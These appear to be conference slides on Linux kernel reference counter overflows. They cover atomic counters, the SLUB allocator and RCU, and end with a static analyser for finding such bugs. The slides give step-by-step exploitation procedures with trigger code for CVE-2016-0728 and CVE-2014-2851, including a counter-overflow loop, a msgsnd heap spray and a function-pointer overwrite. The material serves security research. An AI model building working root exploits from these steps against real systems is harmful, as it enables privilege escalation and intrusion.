  • 11. File refcounting Sharing the fd static inline struct file * get_file(struct file *f) { atomic_inc(&f->f_count); return f; }
  • 12. File refcounting Closing fd/exiting the process void fput(struct file *file) { if (atomic_dec_and_test(&file->f_count)) { struct task_struct *task = current; file_sb_list_del(file); ... if (llist_add(&file->f_u.fu_llist, &delayed_fput_list)) schedule_delayed_work(&delayed_fput_work, 1); } }
  • 13. ‱ Atomic API implemented by the kernel: ‱ atomic_set - set atomic variable ‱ atomic_inc - increment atomic variable ‱ atomic_dec - decrement atomic variable ‱ atomic_dec_and_test — decrement and test ‱ atomic_inc_and_test — increment and test ‱ etc File refcounting Atomic integers
  • 14. File refcounting Atomic integers (gdb) ptype atomic_t type = struct { int counter; }
  • 15. Counter overïŹ‚ows ‱ Data models: ‱ x86 - ILP32 ‱ x86_64 - LP64 ‱ Signed integer 0 to 0xffffffff ‱ OverïŹ‚owing 4 bytes is quick right?
  • 16. #include <stdio.h> int main() { unsigned int count; for (count = 0; count < 0xffffffff; count++) ; return 0; } test:~ vnik$ time ./t real 0m8.293s user 0m8.267s sys 0m0.015s Counter overïŹ‚ows i7-4870HQ CPU @ 2.50GHz - user space
  • 17. struct test { atomic_t count; struct rcu_head rcu; }; static void increment() { atomic_inc(&testp->count); } static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) { switch(cmd) { case IOCTL_SET: /* set counter value */ atomic_set(&testp->count, args); break; case IOCTL_INCREMENT: increment(); break; ... } Counter overïŹ‚ows i7-4870HQ CPU @ 2.50GHz - kernel space
  • 18. int main() { int fd; fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) return -1; ioctl(fd, IOCTL_SET, 0); unsigned count; for (count = 0; count < 0xffffffff; count++) ioctl(fd, IOCTL_INCREMENT, 0); } vnik@ubuntu:~/$ time ./trigger1 real58m48.772s user1m17.369s sys 32m49.483s Counter overïŹ‚ows i7-4870HQ CPU @ 2.50GHz - kernel space
  • 19. ‱ At least 30-60 min to overïŹ‚ow (approximately) ‱ Not very practical in certain exploitation scenarios (mobile root?) Counter overïŹ‚ows OverïŹ‚owing kernel integers
  • 20. Counter overïŹ‚ows void * some_kernel_function() { ... struct file *f = fget(fd); ... if (some_error_condition) goto out; ... if (atomic_dec_and_test(&f—>f_count)) { call_rcu(...); // fput(f) out: return -EINVAL; }
  • 21. VMM ‱ Kernel implements a virtual memory abstraction layer ‱ Using physical memory allocations is inefïŹcient (fragmentation, increased swapping) ‱ Basic unit of memory is a page (>= 4KB) ‱ Kernel allocates memory internally for a large variety of objects
  • 22. ‱ Pages are divided into smaller ïŹxed chunks (power of 2) aka slabs ‱ Pages containing objects of the same size are grouped into caches ‱ SLAB allocator is the original slab allocator on implementation in OpenSolaris ‱ SLAB (in caps) - speciïŹc slab allocator implementation ‱ slab - generic term VMM Terminology
  • 23. VMM Linux SLUB allocator ‱ Starting from 2.6 branch, the slab allocator can be selected at compile time (SLAB, SLUB, SLOB, SLQB) ‱ SLUB is the default slab allocator on Linux ‱ All allocators perform the same function (and are mutually exclusive) but there’re signiïŹcant differences in exploitation
  • 24. ‱ General-purpose allocations (kmalloc/kzalloc) are for objects of size 8, 16, 32, 64, 128, 
, 8192 bytes ‱ Objects that are not power of 2 are rounded up to the next closest slab size ‱ Special-purpose allocations (kmem_cache_alloc) are for frequently-used objects ‱ Objects of the ~same size are grouped into the same cache VMM Linux SLUB allocator
  • 25. ‱ No metadata in slabs ‱ Instead, each slab page (struct page) has SLUB metadata (freelist ptr, etc) ‱ Free objects have a pointer (at offset=0) to the next free object in the slab (i.e., linked list) ‱ The last free object in the slab has its next pointer set to NUL VMM Linux SLUB allocator
  • 27. Counter overïŹ‚ows Exploitation procedure 1. OverïŹ‚ow the counter by calling the vulnerable path A() until the counter —> 0 2. Find path B() that triggers kfree() if counter == 0 3. Start allocating target objects to ïŹll partial slabs of the same size C() 4. Use the old object reference to 1. Modify the target object, or 2. Execute the (overwritten) function ptr in the vulnerable object 5. Trigger the overwritten function ptr in the target object
  • 28. Counter overïŹ‚ows Step 4 - option #1 // assume sizeof(struct A) == sizeof(struct B) struct A {‹ atomic_t counter; int some_var; ... }; struct B {‹ void (∗func)(); ... }; // Old kernel path ... a->some_var = 0; ...
  • 29. Counter overïŹ‚ows Step 4 - option #2 // assume sizeof(struct A) == sizeof(struct B) struct A {‹ atomic_t counter; void (*func)(); ... }; struct B {‹ int dummy; long user_controlled_var; ... }; // Old kernel path ... a->func(...); ...
  • 30. ‱ Find the target object B, s.t., 1. B has user-controlled variables 2. The user-controlled variable is aligned with the function pointer in the vulnerable object A Counter overïŹ‚ows Step 4 - option #2 Vulnerable object A Target object B void (*func)(); user-controlled data . . . . . . . . . . . .
  • 31. struct { long mtype; char mtext[ARBITRARY_LEN]; } msg; memset(msg.mtext, 'A', sizeof(msg.mtext)); msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { ... Counter overïŹ‚ows msgsnd() syscall
  • 32. long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg) { struct msg_queue *msq; struct msg_msg *msg; int err; struct ipc_namespace *ns; ns = current->nsproxy->ipc_ns; if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; if (mtype < 1) return -EINVAL; msg = load_msg(mtext, msgsz); ... Counter overïŹ‚ows msgsnd() syscall
  • 33. struct msg_msg *load_msg(const void __user *src, size_t len) { struct msg_msg *msg; struct msg_msgseg *seg; int err = -EFAULT; size_t alen; msg = alloc_msg(len); if (msg == NULL) return ERR_PTR(-ENOMEM); alen = min(len, DATALEN_MSG); if (copy_from_user(msg + 1, src, alen)) goto out_err; ... Counter overïŹ‚ows msgsnd() syscall
  • 34. RCU ‱ Kernel counter decrements and object freeing are often implemented via RCU calls ‱ This introduces indeterminism in counter values ‱ If 0-check is done using an RCU callback, can skip the check and overïŹ‚ow past 0
  • 35. RCU ‱ Read-Copy Update - synchronisation mechanism (replacement for read-writer locking) ‱ Available since 2002 ‱ Low-overhead readers, immune to deadlocks, readers can run concurrently with updaters, etc. ‱ rcu_read_lock()/rcu_read_unlock(), rcu_assign_pointer(), rcu_dereference(), etc. ‱ Kernel API in ./Documentation/RCU/rcu.txt
  • 36. RCU void call_rcu(struct rcu_head *head, void (*callback) (void *head)); ‱ This call invokes a callback function callback() after all the CPUs have gone through at least one quiescent state. ‱ “For performance reasons, good implementations of RCU do not wait for completion of the quiescent cycle. Instead, they queue the cycle in batches and return.”
  • 37. ‱ The CPU performs a process switch ‱ The CPU starts executing in user mode ‱ The CPU executes the idle loop RCU Quiescent state
  • 38. static void callback_fn() { atomic_dec(&testp->count); } static void testfn() { atomic_inc(&testp->count); call_rcu(&testp->rcu, callback_fn); } static long device_ioctl(struct file *file, unsigned cmd, unsigned long args) { switch(cmd) { case IOCTL_SET: /* set counter value */ atomic_set(&testp->count, args); break; case IOCTL_TEST: /* increment and decrement the count */ testfn(); break; ... RCU
  • 39. int main() { int fd, i; fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); return -1; } ioctl(fd, IOCTL_SET, 0); for (i=0; i < 100; i++) { ioctl(fd, IOCTL_TEST, NULL); } RCU User-space trigger
  • 40. (gdb) b testfn Breakpoint 17 at 0xffffffffa02250c0: file /home/vnik/rcu/rcu.c, line 64. (gdb) commands Type commands for breakpoint(s) 17, one per line. >silent >p testp->count >c >end (gdb) c Continuing. $150 = {counter = 0} $151 = {counter = 1} $152 = {counter = 2} $153 = {counter = 2} $154 = {counter = 3} $155 = {counter = 3} $156 = {counter = 4} $157 = {counter = 4} $158 = {counter = 2} $159 = {counter = 2} $160 = {counter = 3} ... RCU RCU calls
  • 41. int main() { int fd, i; fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); return -1; } ioctl(fd, IOCTL_SET, 0); for (i=0; i < 100; i++) { ioctl(fd, IOCTL_TEST, NULL); sleep(1); // let the CPU go through a quiescent state } RCU User-space trigger
  • 42. (gdb) b testfn Breakpoint 18 at 0xffffffffa02250c0: file /home/vnik/rcu/rcu.c, line 64. (gdb) commands Type commands for breakpoint(s) 18, one per line. >silent >p testp->count >c >end (gdb) c Continuing. $191 = {counter = 0} $192 = {counter = 0} $193 = {counter = 0} $194 = {counter = 0} $195 = {counter = 0} $196 = {counter = 0} $197 = {counter = 0} $198 = {counter = 0} $199 = {counter = 0} $200 = {counter = 0} $201 = {counter = 0} $202 = {counter = 0} $203 = {counter = 0} ... RCU Synchronised RCU calls
  • 43. Counter overïŹ‚ows Test cases ‱ CVE-2014-2851 - group_info counter overïŹ‚ow (exploit published Jan 2016) ‱ CVE-2016-0728 - keyring counter overïŹ‚ow (write up published 3 weeks later)
  • 44. CVE-2016-0728 ‱ “This vulnerability has implications for approximately tens of millions of Linux PCs and servers, and 66 percent of all Android devices (phones/tablets).” - Perception Point ‱ Google said company researchers don't believe any Android devices are vulnerable to exploits by third-party applications. It also said researchers believe that the number of Android devices affected is "signiïŹcantly smaller than initially reported."
  • 45. CVE-2016-0728 ‱ Reference leak in the keyrings facility ‱ System call interface – keyctl syscall is provided so that userspace programs can use the facility for their own purposes. ‱ Each process can create a keyring for the current session using keyctl(KEYCTL_JOIN_SESSION_KEYRING, name) ‱ The keyring object can be shared between processes by referencing the same keyring name.
  • 46. CVE-2016-0728 User-space trigger for (i = 0; i < 0xfffffffd; i++) { serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "mykeyring"); if (serial < 0) { perror("keyctl"); return -1; } }
  • 47. CVE-2016-0728 long join_session_keyring(const char *name) { ... new = prepare_creds(); // increment the counter keyring = find_keyring_by_name(name, false); if (PTR_ERR(keyring) == -ENOKEY) { ... } else if (IS_ERR(keyring)) { ret = PTR_ERR(keyring); goto error2; } else if (keyring == new->session_keyring) { ret = 0; goto error2; } ... key_put(keyring); okay: return ret; error2: mutex_unlock(&key_session_mutex); error: abort_creds(new); // decrement the counter via RCU return ret; }
  • 48. CVE-2016-0728 struct key struct key { atomic_t usage; /* number of references */ key_serial_t serial; /* key serial number */ ... union { struct keyring_index_key index_key; struct { struct key_type *type; /* type of key */ char *description; }; }; ...
  • 49. CVE-2016-0728 Vulnerable object ‱ keyring object is of type struct key ‱ The object size is 184 bytes —> kmalloc-192 cache ‱ type ptr points to key_type struct containing function pointers: struct key_type { ... int (*vet_description)(const char *description); int (*preparse)(struct key_preparsed_payload *prep); void (*free_preparse)(struct key_preparsed_payload *prep); int (*instantiate)(struct key *key, struct key_preparsed_payload *prep); int (*update)(struct key *key, struct key_preparsed_payload *prep); int (*match_preparse)(struct key_match_data *match_data); void (*match_free)(struct key_match_data *match_data); void (*revoke)(struct key *key); ...
  • 50. CVE-2016-0728 Exploitation 1. OverïŹ‚ow the keyring reference counter and trigger kfree() ‱ Increment to 0xffffffff - eps, then eps ordered steps with sleep(1) 2. Allocate the target object replacing the vulnerable object (option 2) 3. Trigger the overwritten function ptr in keyring, e.g., type->revoke()
  • 51. CVE-2016-0728 Exploitation 128 < x <= 192 bytes struct key_type *type; 0xdeadbeef Target object X void (*revoke)(
); struct key_type at 0xdeadbeef User space Kernel space . . . . . . . . . . . . . . . . .
  • 52. CVE-2014-2851 ‱ Counter overïŹ‚ow in ping_init_sock() socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP); ‱ The vulnerable path can be reached by non- privileged users
  • 53. CVE-2014-2851 Vulnerable path int ping_init_sock(struct sock *sk) { struct net *net = sock_net(sk); kgid_t group = current_egid(); struct group_info *group_info = get_current_groups(); int i, j, count = group_info->ngroups; kgid_t low, high; inet_get_ping_group_range_net(net, &low, &high); if (gid_lte(low, group) && gid_lte(group, high)) return 0; ...
  • 54. CVE-2014-2851 struct group_info ‱ sizeof(struct group_info) = 140 bytes (kmalloc-192) type = struct group_info { atomic_t usage; int ngroups; int nblocks; kgid_t small_block[32]; kgid_t *blocks[]; }
  • 55. CVE-2014-2851 Challenges ‱ group_info is a frequently used object ‱ Does not contain any function pointers ‱ Cannot modify any object values (except for incrementing the refcounter) ‱ Race window between group_info free and target object allocation is very small ‱ Other processes use the old reference
  • 57. CVE-2014-2851 Exploitation - slab metadata overwrite 1. Increment the group_info usage counter close to 0xffffffff by creating ICMP sockets 2. Increment the usage counter by 1 and try to free group_info via faccessat() && repeat 3. Keep incrementing the group_info usage counter until it points to some user-space memory address 4. Map this region in user space and memset it to 0 5. Start allocating structure X in kernel space that has the size 128-192 bytes 6. The SLUB allocator will allocate this structure X at our user-space address
  • 58. CVE-2014-2851 Exploitation - slab metadata overwrite Free object Free object Free object Freed object Allocated object SLUB page { freelist* index=0; inuse=1; objects=5; 
 NULL *freeptr struct file User space
  • 59. COF Static Code Analyser
  • 60. COF Analyser Algorithm Step 1: CFG with inlined function invocations Step 2: CFG —> NFA Step 3: NFA —> DFA Step 4: DFA —> RE
  • 61. ‱ CFG for the entire kernel, then focus on user-space reachable code only (syscalls, ioctls, socket operations, etc.) ‱ LLVM for the kernel - http://llvm.linuxfoundation.org ‱ GCC Link Time Optimisation (LTO) - “gives GCC the capability of dumping its internal representation (GIMPLE) to disk, so that all the different compilation units that make up a single executable can be optimised as a single module.” - https://gcc.gnu.org/wiki/LinkTimeOptimization COF Analyser CFG
  • 62. ‱ GCC performs optimisation work in “passes” that form trees ‱ Custom pass called directly after the GCC “cfg” pass ‱ CFG for every function in the kernel, followed by manual function inlining COF Analyser CFG BB func1: func2(); BB2 func1: ... BB1 func1 BB2 func1: ... BB1 func2: ... BBn func2: ... CFG func2
  • 63. [Block main 1] [Block main 0] [Block main 2] a = 1; [Block main 3] [Block main 3.0] increment (&shared); [Block main 2.0] increment (&shared); [Block main 5] <L2>: return D.2309; [Block main 4] D.2309 = 0; [Block main 2.1] decrement (&shared); if (a == 0) struct shared_struct shared; int main(int argc, char **argv) { int a = 0; increment(&shared); decrement(&shared); if (!a) increment(&shared); return 0; } COF Analyser CFG
  • 64. ‱ Each basic block represents a state in the NFA ‱ Basic blocks containing the counter increment/ decrement functions are split into two states ‱ The edge (transition) between these two states is labeled with V (increment) or P (decrement) ‱ All other transitions are labeled with epsilon COF Analyser CFG -> NFA
  • 65. a = 1; increment(); b = 1; if ( 
 ) S1 S2 S2 V eps start end start = end COF Analyser CFG -> NFA
  • 67. ‱ Convert the obtained DFA to a regular expression ‱ Change semantics of the language operations (language composition, union, closure, etc.) ‱ The outcome is the oracle algorithm: yes or no answer ‱ Can then reconstruct the original path from NFA COF Analyser DFA -> RE
  • 68. ‱ Eliminating false-positives ‱ “Points-to” analysis some_struct->func_ptr() ‱ Rewriting automata manipulation algorithms COF Analyser Challenges and improvements
  • 69. static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos, size_t count, loff_t max) { struct fd in, out; ... in = fdget(in_fd); if (!in.file) goto out; if (!(in.file->f_mode & FMODE_READ)) goto fput_in; fput_out: fdput(out); fput_in: fdput(in); out: return retval; } COF Analyser sendïŹle syscall